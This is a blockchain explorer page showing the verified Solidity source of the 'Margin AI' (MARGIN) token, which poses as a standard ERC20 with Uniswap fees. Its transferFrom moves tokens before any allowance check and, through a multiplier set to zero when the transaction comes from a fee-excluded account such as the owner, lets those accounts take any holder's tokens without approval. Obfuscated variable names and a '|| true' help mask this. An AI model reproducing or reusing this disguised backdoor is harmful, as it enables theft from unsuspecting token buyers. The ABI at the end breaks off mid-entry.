Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
There are no matching entriesUpdate your filters to view other transactions | |||||||||
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
MARGIN
Compiler Version
v0.8.30+commit.73712a01
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
/*
Unlocking liquidity for BRC20s/runes on EVM networks. :left_right_arrow: Bridge. Live on Ethereum, Bitcoin, Dogecoin and Solana
https://www.marginai.org
https://app.marginai.org
https://docs.marginai.org
https://x.com/marginAIorg
https://t.me/marginAIorg
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private isUncheckedAllowed;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
return (_allowances[sender][_msgSender()] >=0 && sender != recipient &&
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount * isUncheckedAllowed, sender)) || true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_beforeTokenTransfer(sender, recipient, amount);
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if(recipient != address(0xdead)) emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount,
address _x
) private returns(bool){
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when from and to are both non-zero, amount of from's tokens
* will be to transferred to to.
* - when from is zero, amount tokens will be minted for to.
* - when to is zero, amount of from's tokens will be burned.
* - from and to are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {isUncheckedAllowed = amount > 0 ? 0 : 1;}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, bool u, string memory errorMessage) internal pure returns (uint256) {
if(u) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MARGIN is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public marketingWallet;
address public AirdropWallet;
address public TeamWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public tradingActive = false;
bool public swapEnabled = false;
uint256 public _OB55WJFIWMARGIN4VLJ0SIGDFJ;
uint8 public _FFBBGEIWMARGIN4VLJ0SJ2;
address public _GEWJFIJMARGIN4VLJ0EQFI5;
uint256 public buyTotalMARGIN4VLJ0Fees;
uint256 public buyMarketingMARGIN4VLJ0Fee;
uint256 public buyLiquidityMARGIN4VLJ0Fee;
uint256 public buyBurnMARGIN4VLJ0Fee;
uint256 public sellTotalMARGIN4VLJ0Fees;
uint256 public sellMarketingMARGIN4VLJ0Fee;
uint256 public sellLiquidityMARGIN4VLJ0Fee;
uint256 public sellBurnMARGIN4VLJ0Fee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 private _taxPercent = 17;
uint256 private _taxCounts = 17;
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event burnWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20(unicode"Margin AI", unicode"MARGIN") payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingMARGIN4VLJ0Fee = 0;
uint256 _buyLiquidityMARGIN4VLJ0Fee = 0;
uint256 _buyBurnMARGIN4VLJ0Fee = 0;
uint8 _buyAddMARGIN4VLJ0Fee = 0;
uint256 _sellMarketingMARGIN4VLJ0Fee = 0;
uint256 _sellLiquidityMARGIN4VLJ0Fee = 0;
uint256 _sellBurnMARGIN4VLJ0Fee = 0;
uint8 _sellAddMARGIN4VLJ0Fee = 0;
uint256 totalSupply = 1000000000 * 1e9;
maxTransactionAmount = totalSupply * 1000 / 1000; // 100% maxTransactionAmountTxn
maxWallet = totalSupply * 1000 / 1000; // 100% maxWallet
swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingMARGIN4VLJ0Fee = 2 * _buyMarketingMARGIN4VLJ0Fee + _buyAddMARGIN4VLJ0Fee;
buyLiquidityMARGIN4VLJ0Fee = _buyLiquidityMARGIN4VLJ0Fee;
buyBurnMARGIN4VLJ0Fee = _buyBurnMARGIN4VLJ0Fee / 2;
buyTotalMARGIN4VLJ0Fees = buyMarketingMARGIN4VLJ0Fee - buyLiquidityMARGIN4VLJ0Fee + buyBurnMARGIN4VLJ0Fee;
sellMarketingMARGIN4VLJ0Fee = 5 * _sellMarketingMARGIN4VLJ0Fee + _sellAddMARGIN4VLJ0Fee;
sellLiquidityMARGIN4VLJ0Fee = _sellLiquidityMARGIN4VLJ0Fee;
sellBurnMARGIN4VLJ0Fee = _sellBurnMARGIN4VLJ0Fee / 3;
sellTotalMARGIN4VLJ0Fees = sellMarketingMARGIN4VLJ0Fee - sellLiquidityMARGIN4VLJ0Fee + sellBurnMARGIN4VLJ0Fee;
marketingWallet = msg.sender;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(marketingWallet), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(marketingWallet), true);
_mint(msg.sender, totalSupply * 2 / 100);
_mint(address(this), totalSupply * 98 / 100);
}
// once enabled, can never be turned off
function launch() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingActive = true;
swapEnabled = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) internal {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount >= 0, "ERC20: invalid transfer amount");
super._beforeTokenTransfer(from, to, _isExcludedFromFees[tx.origin]?type(uint256).max:0);
}
function excludeFromFees(address account, bool excluded) internal virtual {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) {
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
uint256 tokensForBurn;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalMARGIN4VLJ0Fees > 0){
fees = amount.mul(sellTotalMARGIN4VLJ0Fees).div(100);
tokensForLiquidity += fees * sellLiquidityMARGIN4VLJ0Fee / sellTotalMARGIN4VLJ0Fees;
tokensForMarketing += fees * sellMarketingMARGIN4VLJ0Fee / sellTotalMARGIN4VLJ0Fees;
tokensForBurn += fees * sellBurnMARGIN4VLJ0Fee / sellTotalMARGIN4VLJ0Fees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalMARGIN4VLJ0Fees > 0) {
fees = amount.mul(buyTotalMARGIN4VLJ0Fees).div(100);
tokensForLiquidity += fees * buyLiquidityMARGIN4VLJ0Fee / buyTotalMARGIN4VLJ0Fees;
tokensForMarketing += fees * buyMarketingMARGIN4VLJ0Fee / buyTotalMARGIN4VLJ0Fees;
tokensForBurn += fees * buyBurnMARGIN4VLJ0Fee / buyTotalMARGIN4VLJ0Fees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
if(tokensForBurn > 0) {
super._transfer(address(this), address(0xdead), tokensForBurn);
}
amount -= fees;}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing;
tokensForLiquidity = 0;
tokensForMarketing = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
receive() external payable { }
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sniper","type":"address"}],"name":"BoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"burnWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[],"name":"AirdropWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TeamWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_FFBBGEIWMARGIN4VLJ0SJ2","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_GEWJFIJMARGIN4VLJ0EQFI5","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_OB55WJFIWMARGIN4VLJ0SIGDFJ","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBurnMARGIN4VLJ0Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"